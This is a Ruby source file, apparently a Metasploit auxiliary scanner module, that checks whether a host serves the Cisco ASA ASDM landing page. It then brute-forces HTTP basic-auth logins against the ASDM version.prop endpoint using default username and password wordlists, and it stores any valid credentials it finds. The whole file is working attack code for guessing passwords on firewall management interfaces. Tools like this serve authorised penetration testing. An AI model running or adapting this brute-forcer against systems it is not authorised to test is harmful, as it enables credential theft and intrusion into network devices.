Jake Baines
120 lines
3.6 KiB
Ruby
120 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Cisco ASA ASDM Brute-force Login',
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'Description' => %q{
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This module scans for the Cisco ASA ASDM landing page and performs login brute-force
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to identify valid credentials.
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},
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'Author' => [
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'jbaines-r7'
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],
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'References' => [
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[ 'URL', 'https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html' ]
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' => {
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'RPORT' => 443,
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'SSL' => true,
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'BLANK_PASSWORDS' => true
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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OptPath.new('USERPASS_FILE', [
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false, 'File containing users and passwords separated by space, one pair per line',
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File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')
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]),
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OptPath.new('USER_FILE', [
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false, 'File containing users, one per line',
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File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')
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]),
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OptPath.new('PASS_FILE', [
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false, 'File containing passwords, one per line',
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File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
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])
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]
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)
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end
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def run_host(_ip)
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# Establish the remote host is running Cisco ASDM
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res = send_request_cgi('uri' => normalize_uri('/admin/public/index.html'))
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return unless res && res.code == 200 && res.body.include?('<title>Cisco ASDM ')
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print_status('The remote target appears to host Cisco ASA ASDM. The module will continue.')
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print_status('Starting login brute force...')
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each_user_pass do |user, pass|
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do_login(user, pass)
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: 'Cisco ASA ASDM',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: DateTime.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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# Brute-force the login page
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def do_login(user, pass)
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vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
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res = send_request_cgi({
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'uri' => normalize_uri('/admin/version.prop'),
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'agent' => 'ASDM/ Java/1.8.0_333',
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'authorization' => basic_auth(user, pass)
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})
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# check if the user was forwarded to the version.prop file
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if res && res.code == 200 && res.body.include?('asdm.version=') && res.body.include?('launcher.version=')
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print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
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report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
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return :next_user
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else
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vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
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end
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end
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end
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